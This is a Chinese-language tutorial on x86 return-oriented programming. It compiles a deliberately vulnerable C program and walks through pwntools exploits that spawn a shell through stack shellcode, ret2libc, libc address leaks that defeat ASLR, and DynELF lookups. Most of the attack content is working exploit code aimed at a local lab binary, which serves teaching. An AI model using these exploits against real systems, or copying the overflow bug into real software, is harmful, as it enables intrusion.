简介
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以 用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。
Linux常见保护技术
- Canary
- Fortify
- NX/DEP
- PIE/ASLR
- RELRO
0x01 、x86 ROP
level1——栈上执行shellcode
level1.c:
| #include <stdio.h> #include <stdlib.h> #include <unistd.h>
void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); }
int main(int argc, char** argv) { vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n", 13); }
|
使用如下指令编译,关闭所有编译保护:
1
| gcc -m32 -fno-stack-protector -z execstack -o level1 level1.c
|
- -m32参数指定编译为32位程序;
- -fno-stack-protector参数指定不开启堆栈溢出保护,即不生成 canary;
- -z execstack参数指定允许栈执行,即不开启NX。
关闭整个linux系统的ASLR保护:
1
| sudo echo 0 > /proc/sys/kernel/randomize_va_space
|
运行程序,输入一串字符串然后返回helloworld;file查看是个动态链接的32位文件;checksec查看所有安全编译选项都没有开:
image-20200813101434251
利用pattern脚本生成测试字符串,通过gdb调试程序,输入字符串后得到内存溢出的地址,并利用pattern计算偏移(从变量写入处到eip顶内存长度),可得到溢出偏移量为140。
image-20200813103438372
如果能构造一个[shellcode][“AAAAAAAAAAAAAA”….][ret]字符串,程序执行ret地址上的代码。但是我们要知道shellcode所在的内存地址。
注意使用gdb调试程序时,查询内存中shellcode的地址是错误的,原因是gdb的调试环境会影响buf在内存中的位置,即使关闭了ALSR,解决的办法是开启core dump
1 2
| ulimit -c unlimited sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
|
开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。
运行程序并触发栈溢出,使用gdb打开core dump文件即可得知真正的code_shell地址为0xffffcf60
image-20200813104323847
EXP:
1 2 3 4 5 6 7 8 9
| from pwn import *
p = process("./level1")
shellcode = asm(shellcraft.sh()) shellcode_addr = 0xffffcfb0 payload = shellcode.ljust(140, "A") + p32(shellcode_addr) p.sendline(payload) p.interactive()
|
image-20200813105131446
除了本地调试,还有远程部署的方式,如下,将题目绑定到指定端口上:
1
| socat tcp-l:10001,fork exec:./level1
|
payload除了将p = process(“./level1”)改为p = remote(“127.0.0.1”, 10001)外,ret的地址还会发生改变。解决方法还是采用生成core dump的方案,然后用gdb调试core文件获取返回地址,即可远程getshell。
level 2 - ret2libc 绕过 DEP 防护
和level1一样的代码,不过在用GCC编译删掉关闭NX保护即栈执行的参数。
1
| gcc -m32 -fno-stack-protector -o level2 level1.c
|
NX开启
开启nx保护后,堆栈中的shell_code无法执行,但可以通过ROP绕过,因为程序会调用函数库libc.so,并且libc.so里保存了大量可利用的函数如system()和/bin/sh,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。
因为我们关掉了ASLR,此时system()函数和”/bin/sh”字符串在内存中的地址是不会变化的。
使用GDB进行调试,在main打下断点然后运行,程序在main断点处停下再通过print命令打印system字符串的地址为0xf7e3ddb0,使用find [起始地址],[+搜索长度],[字符串]获取"/bin/sh"内存地址0xf7f5eb0b。
image-20200813112151466
注意:system()后面跟的是执行完system函数后要返回地址,接下来才是”/bin/sh”字符串的地址。因为我们执行完后也不打算干别的什么事,所以我们就随便写了一个0xdeadbeef作为返回地址。
EXP:
1 2 3 4 5 6 7 8 9 10
| from pwn import *
p = process("./level2")
system_addr = 0xf7e3ddb0 binsh_addr = 0xf7f5eb0b
payload = "A" * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr) p.sendline(payload) p.interactive()
|
image-20200813112549475
level 2 - 通过 ROP 绕过 DEP 和 ASLR 防护
开启在level1中关掉的ASLR,开启ASLR后libc.so地址每次都是变化的:
1
| sudo echo 2 > /proc/sys/kernel/randomize_va_space
|
虽然每次程序运行的地址都是变换的,但是程序在内存中的地址并不随机。
img
思路是:程序先泄露出libc.so某些函数在内存中的地址,再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址,最后执行我们的ret2libc的shellcode。
利用objdump来查看可以利用的plt函数和函数对应的got表:
image-20200813113550676
通过write@plt()函数把write()函数在内存中的地址(write.got)给打印出来,然后计算system()和"/bin/sh"与write()在函数库libc.so中的offset(相对地址)得到最后的地址。再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。
Q: 为什么用的是调用write@plt()打印write@got()?
A:write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 - 链接、装载与库》这本书)
通过ldd命令可以查看目标程序调用的so库。随后把libc.so拷贝到当前目录,并以此来计算相对地址。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import *
p = process("./level2") elf = ELF("./level2") libc = ELF("libc.so.6")
write_plt = elf.plt["write"] write_got = elf.got["write"] vulnerable_function_addr = elf.symbols["vulnerable_function"] print "[*]write() plt: " + hex(write_plt) print "[*]write() got: " + hex(write_got) print "[*]vulnerable_function() addr: " + hex(vulnerable_function_addr)
payload = "A" * 140 + p32(write_plt) + p32(vulnerable_function_addr) + p32(1) + p32(write_got) + p32(4)
print "[*]sending payload1 to leak write libc addr..." p.sendline(payload) write_addr = u32(p.recv(4))
print "[*]leak write libc addr: " + hex(write_addr)
libc.address = write_addr - libc.symbols["write"] system_addr = libc.symbols["system"] binsh_addr = next(libc.search("/bin/sh")) print "[*]system() addr: " + hex(system_addr) print "[*]binsh addr: " + hex(binsh_addr)
payload2 = "A" * 140 + p32(system_addr) + p32(0xdeedbeef) + p32(binsh_addr)
print "[*]sending payload2 to getshell..." p.sendline(payload2) p.interactive()
|
image-20200813121712085
level2——Memory Leak & DynELF
当无法获得目标的libc.so的情况下,如何获得偏移地址呐?
这时候可以通过内存泄漏来搜索内存找到system()的地址。这里我们采用pwntools提供的DynELF模块来进行内存搜索。但是需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少 1 byte的数据。
1 2 3 4 5 6
| def leak(address): payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4) p.send(payload1) data = p.recv(4) print "%#x => %s" % (address, (data or '').encode('hex')) return data
|
随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF('./level2'))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup('system', 'libc')来得到libc.so中system()在内存中的地址。
要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串/bin/sh在内存中的地址。所以我们在payload中需要调用read()将/bin/sh这字符串写入到程序的.bss段中。
.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。通过readelf -S level2或在IDA中通过ctrl+s获取到.bss段的地址。
image-20200813153850779
因为我们在执行完read()之后要接着调用system(“/bin/sh”),并且read()这个函数的参数有三个,所以我们需要一个pop pop pop ret的gadget用来保证栈平衡。
利用的是ROPgadget工具快速查找可用gadget,ROPgadget --binary level2 --only "pop|ret"
image-20200813154618698
思路:首先通过DynELF获取System()地址,通过read()把/bin/sh写入到.bss段中,通过gadget清空read()栈上参数,调用system("/bin/sh")。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import *
p = process("./level2")
elf = ELF("./level2") bss_base = elf.bss()
plt_write = elf.plt["write"] plt_read = elf.plt["read"] vulfun_addr = elf.symbols["vulnerable_function"] print "[*]write() plt: " + hex(plt_write) print "[*]read() plt: " + hex(plt_read) print "[*]vulnerable_function() addr: " + hex(vulfun_addr) print "[*].bss addr: " + hex(bss_base)
def leak(address): payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4) p.send(payload1) data = p.recv(4) return data
d = DynELF(leak, elf=ELF('./level2'))
system_addr = d.lookup('system', 'libc') print "[*]system() addr: " + hex(system_addr)
pop_pop_pop_ret = 0x080484f9 payload2 = "A" * 140 + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_base) + p32(8) payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_base)
p.sendline(payload2) p.sendline("/bin/sh\0") p.interactive()
|